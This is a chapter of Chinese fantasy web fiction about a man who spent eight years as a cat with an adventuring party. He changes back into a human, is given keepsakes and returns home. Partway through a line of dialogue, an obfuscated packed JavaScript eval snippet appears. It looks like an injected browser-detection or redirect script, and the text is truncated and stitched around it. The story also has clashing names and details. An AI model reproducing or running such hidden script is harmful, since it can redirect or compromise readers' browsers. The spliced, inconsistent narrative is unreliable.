奎兰会把最甜的浆果藏在绣着藤蔓的口袋里,那口袋是他用精灵森林的麻线织的,软乎乎的,每次找到暖烘烘的山洞,都会先用魔法给方绪白铺层软乎乎的光垫,还会在它打盹时,用藤蔓编小小的花环套在它脖子上,说“这样像精灵的伙伴”,后来花环枯了,奎兰就用魔法让藤蔓一直保持新鲜,现在那花环还挂在铁匠铺的房梁上,成了边陲镇的小风景。 琥珀色瞳孔动了动,方绪白跳上界碑,用爪子蘸了石粉,在刻字旁添了行歪歪扭扭的小字:“猫窝在铁匠铺后”。刻到“窝”字时,他故意把最后一笔拉得很长,像极了每次西拉斯给它铺干草时,特意留出的那块软垫子形状。 每次西拉斯都会嘴硬“谁给猫铺垫子,是干草自己堆的”,却总在方绪白睡着后,悄悄往猫窝里加两把新晒的干草,还把暖石换块热的。 石粉沾在爪子上,暖石末的温度顺着爪垫渗进来,像西拉斯的手掌一样暖,方绪白忍不住蹭了蹭碑面,把“猫”字的尾巴刻得更弯了点,像它平时摇尾巴的样子。 “你这猫爪子还真能当笔用?”西拉斯凑过来看,突然“嘶”了一声,指着方绪白的爪子:“又裂了?昨晚跟雪狼搏斗时是不是没躲好?我都说了让你别冲那么前,有罗文扛着盾呢!你倒好,为了救奎兰那傻精灵,直接往狼嘴里跳,要是被咬死了,我还得给你打个铁猫窝当墓碑,刻上‘薇薇安之墓,死于太能逞能’!”他说着,眉头皱得紧紧的,却还是从怀里掏出个小瓷瓶,里面是他用暖石粉和精灵浆果汁熬的药膏,涂在爪垫上像裹了团暖光,还带着点甜腥味——那是奎兰给的浆果榨的汁,说“加进去方绪白就不会嫌药膏味冲,会乖乖让涂”。 方绪白甩了甩尾巴,想装作没事,却没躲开西拉斯递过来的药膏,矮人粗粝的手指轻轻捏着它的爪子,涂药膏时力道轻得像在碰易碎的瓷器,连爪缝里的石粉都用指尖小心地挑出来。 奎兰突然轻“呀”了一声,法杖顶端的水晶开始发光,淡蓝色的光晕在雪地里散开,像圈涟漪,连落在水晶上的雪粒都被暖光融成了小水珠。 方绪白的脊背瞬间绷紧,危险感知像电流般窜过全身——是时间裂缝!八年来他最怕的就是这个,现世的引力总在某个瞬间突然变强,像有只无形的手要把它从这个世界拽回去。 上次裂缝出现时,他差点在传送缝隙里被撕裂,是罗文用骑士盾硬扛住时空乱流,盾面都被绞出了裂痕,罗文的手臂被乱流划得鲜血直流,却死死咬着牙不肯松手;奎兰趴在盾边,耗尽精灵之力用治愈魔法稳住它的魂体,嘴角一直流血,却还笑着说“方绪白别怕,我能撑住”;西拉斯更是扛着铁锤砸开裂缝的缺口,红发都被乱流燎焦了几缕,却喊着“薇薇安别睡!我还没给你打新猫窝呢”,硬是把他从裂缝里拽了回来。 “雪……”罗文的声音沉了下来,手里的短剑瞬间出鞘,剑身上凝结的斗气在雪地里泛着银光,连周围的雪都被斗气逼得往后退了半寸。 漫天飞雪突然停在半空,接着以肉眼可见的速度消融,方绪白感觉身体里的骨头在发烫,猫爪开始不受控制地变长,身上的绒毛褪去时,现世那件洗得发白的格子衬衫突然裹住了身体——那是它被召唤来时穿的衣服,八年来被罗文小心地收在背包最底层,每次洗都用温水和温和的草木皂,怕粗皂角磨坏布料,连袖口的破洞都用细麻线补好了,针脚整整齐齐的,是阿婆教罗文的针法,说“补衣服要密点,才不容易破”;衬衫领口还别着个小小的银猫爪,是西拉斯用边角料打的,说“给你当护身符,好看”。 西拉斯的锤子“哐当”掉在地上,铁砧上的火星瞬间灭了,奎兰的法杖差点脱手,蓝眼睛瞪得圆圆的,罗文的手已经按在了剑柄上,却在看清方绪白的脸时猛地顿住,绿眼里的警惕瞬间化成了温柔的笑意——他好像早就知道方绪白是人,每次给方绪白梳毛时,都会轻声说“等有机会,你变成人了,我们就一起去看樱花”。 方绪白当时以为是骑士在说胡话,现在才明白,罗文早就把他当家人,不管是猫还是人。 方绪白站在雪地里,低头看着自己终于变回来的人类手掌,指节上还留着敲键盘的薄茧,而手腕上,还戴着罗文八年前给它编的草绳——后来草绳断了,西拉斯用细铁环补上,还在铁环上刻了个小小的猫爪印,说“这样不容易丢,比草绳结实”;奎兰又缠了圈会发光的藤蔓,说“这样不管你在哪,我都能感知到你的位置,就算你回了现世,我也能找到你”,藤蔓此刻还在发光,暖融融的,像奎兰的手一样温柔。 “你……”西拉斯张了张嘴,突然挠了挠头,耳朵尖有点发红,粗粝的手掌在裤子上蹭了蹭,好像不知道该怎么放,“早知道你变人这么瘦,当初该多给你喂点肉干。上次烤野猪腿,你抢不过我,我还以为你是猫嘴小,原来……原来你是人时也这么能吃,就是长不胖。”他说着,从怀里掏出块用油纸包着的肉干,油纸上还沾着铁屑,是西拉斯揣在打铁围裙里的,肉干还带着点余温,“拿着,路上吃,要是饿了,就想想我烤的肉干,别在现世忘了回来的路。我还在铁匠铺后给你留了块好铁,等你回来,我给你打把短剑,比罗文的还锋利,剑柄上刻只猫,这样你就不会跟他的剑弄混了。” 奎兰红了眼眶,却还是把法杖抱在怀里,指尖的暖光轻轻落在方绪白的头发上,把沾着的雪粒都融成了温水珠,没让冷雪冻着方绪白的头皮:“你的衬衫……还是之前那件。罗文每次洗都会跟我说,要轻一点揉,怕袖口的线开了,他还说,这是你在现世的衣服,要好好保存,等你变回来穿。”他说着,从口袋里掏出个小布包,里面是晒干的甜浆果,是精灵森林特有的品种,奎兰去年夏天摘了很多,晒成果干藏在怀里,平时舍不得吃。 “我还会编花环,这次可以编大一点,戴在你脖子上,不用再套在猫耳朵上了。你要是回来晚了,我就把花环挂在铁匠铺后的猫窝上,每天换一朵新鲜的,这样你一回来就能看到,就知道我们一直在等你。”奎兰的声音有点哽咽,却还是努力挤出个笑容,怕方绪白担心,“我还会用魔法给猫窝加热,里面的干草每天都换,暖石也一直烤着,不会让你回来时觉得冷。” 罗文走过来,绿眼里没有半分惊讶,只有温和的笑意,他从背包里拿出个银镯,镯子上刻着三只小猫:胖一点的猫爪旁有个小锤子,是西拉斯打的银坯,还特意把猫爪的纹路刻得深了些。 “这样摸起来有手感,薇薇安变人了也能摸着玩”;中间那只猫脖子上有花环,是奎兰用魔法镶了月光石,月光石的颜色和他法杖的水晶一样,还在石缝里嵌了点精灵浆果的粉末,说“这样会有淡淡的香味,方绪白闻着就不会想家”;最瘦的那只猫旁边有个小盾牌,是罗文亲手刻的花纹,盾牌边缘还刻着“八年”两个小字,“之前总觉得猫爪戴不了,现在正好。我上次做梦听见你在梦里说,现世的人喜欢戴首饰,这个银镯不容易坏,就算你在现世待很久,它也会陪着你,就像我们一样。”罗文说着,把银镯轻轻戴在方绪白的手腕上,银镯的温度刚好,不冷不热,像罗文的手握着他的手腕,“我还在镯子里刻了骑士咒,能护着你,就算在现世遇到危险,它也会发光提醒你,就像你提醒我们一样。” 方绪白的喉咙发紧,多年的习惯让他下意识想弯腰道谢,说“麻烦各位了”,却被西拉斯拍了下肩膀,矮人的力道很足,却没让他觉得疼:“谢什么?你可是我们队的‘预警雷达’!上次在火山遗迹,要不是你提前感知到岩浆喷发,我这矮人早就成烤红薯了!要是敢不回来,我就把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“银猫爪要是磨花了,回来我再给你打新的。”西拉斯突然开口,黑发红眼在雪光里亮得像燃着的炭,他挠了挠头,声音比平时低了些,“铁匠铺的铁砧我给你留着最好的那块,你要是想打铁玩,我教你,保证比罗文学得快——他上次学敲马蹄铁,把铁敲成了歪歪扭扭的样子,我笑了他三天。” 话没说完,却从怀里摸出块小小的铁牌,上面刻着个歪歪扭扭的猫脸,“这个先给你拿着,是我练手刻的,等你回来,我给你刻个跟你一模一样的,连你变猫时耳后的粉毛都刻出来。”铁牌还带着西拉斯怀里的温度,贴在掌心暖得很,方绪白攥着它,突然觉得喉咙里像堵了团温软的棉絮,连呼吸都轻了些。 奎兰的指尖轻轻碰了碰银镯上的月光石,光晕又亮了些,映得他浅金发丝都泛着淡蓝:“我昨天去了趟精灵森林,长老说,要是你在现世想回来,就对着银镯念‘藤生’,我就能感知到,会立刻用藤蔓搭通道,成功几率很大。” 他说着,从斗篷口袋里掏出片干花,是精灵森林的星草花瓣,压得平平整整的,“这是圣泉边的星草,能保存十年,你带在身上,要是想我们了,就闻闻它的香味,跟我在你身边时一样。”星草的香清淡得很,混着奎兰身上的草木气,方绪白放在鼻尖闻了闻,突然想起八年前第一次见奎兰,这精灵躲在树后,手里就攥着这样的星草,怕被他看见,还往身后藏了藏,如今却敢把最珍贵的圣泉星草递到他手里,连眼神都没躲。 罗文往前走了半步,棕发上的雪粒落在方绪白的衬衫上,化了的水珠没渗进布纹里——是他悄悄用法术挡了,怕冷着方绪白。“我在界碑后面埋了坛梅子酒,是阿婆教我酿的,说要埋够八年才好喝。”他绿眼里映着界碑上的刻字,“你要是回来得早,酒还没醒,我们就再等;要是回来得晚,我就再酿新的,一直等你。” 他指尖轻轻碰了碰方绪白耳后的浅痕,那是被黑魔法灼伤的旧疤,“这个疤我记得,下次见面,我用治愈魔法帮你消了,保证跟没受过伤一样。” 方绪白突然伸手抱了抱罗文,又转向奎兰,最后抱了抱西拉斯。 西拉斯的铁匠围裙糙得磨皮肤,却带着铁砧的暖;奎兰的斗篷软乎乎的,裹着藤蔓的清香。 罗文的羊毛衣沾着麦饼香,像八年来每个清晨的味道。他把脸埋在西拉斯的肩窝,听见矮人粗声粗气地说“哭什么?又不是不回来了”,却感觉有只手轻轻拍着他的背,拍得很轻,像怕碰碎了什么,连平时总翘着的红发都软了些。 时间裂缝的引力越来越强,方绪白的身体开始变得透明。他最后看了眼三人:西拉斯还在挠头,却把那块铁牌往他手里塞得更紧;奎兰的眼眶通红,却努力笑着挥手,法杖顶端的水晶还在发光,像在给他引路;罗文站在最前面,绿眼里满是信任,像在说“我们等你回来”。 方绪白攥着铁牌,捏着星草,手腕上的银镯还在发烫,突然对着他们笑了——这是他当社畜时从未有过的轻松笑容,“等雪化了,我就回来。到时候,换我给你们烤野猪腿,给你们编花环,给你们……挡一次危险。” 现世的阳光透过窗户照在书桌上时,方绪白猛地睁开眼,手里还攥着那块铁牌,银镯在手腕上泛着淡蓝的光,没有因为回到现世而变得冰冷。 桌上的玻璃罐里,星草花瓣还保持着新鲜的模样,是奎兰用魔法护着的,凑近闻,还能闻到淡淡的草木香。 他摸了摸银镯上的猫脸,突然看见月光石闪了闪,淡蓝的光晕在桌面映出个小小的藤蔓图案——是奎兰发的魔法信号,像只萤火虫,在晨光里轻轻晃。 方绪白走到窗边,看着外面的雪,和边陲镇的雪很像。他知道自己一定会回去,回到那个有棕发骑士、浅金精灵和红发矮人的小队身边,回到铁匠铺后那个永远暖烘烘的猫窝旁。 因为那里有他在现世从未拥有过的东西:有罗文的温柔守护,有奎兰的细腻关怀,有西拉斯的直白义气,有他用八年时光换来的家人,还有等着他一起刻下下一个八年的约定。 窗外的雪地里,那道淡蓝的魔法信号还在闪,像奎兰在说“我们等你”。方绪白攥紧银镯,轻声说:“等着我,这次换我跑快点,一定不会让你们等太久。”他仿佛能看见,边陲镇的界碑旁,西拉斯正把盾往炉边挪,奎兰在给猫窝换干草,罗文蹲在界碑后,轻轻拂去碑上的雪,把“勇者小队,八年共行”和“猫窝在铁匠铺后”的刻字擦得发亮,等着他回来,再添上属于“方绪白”的那笔。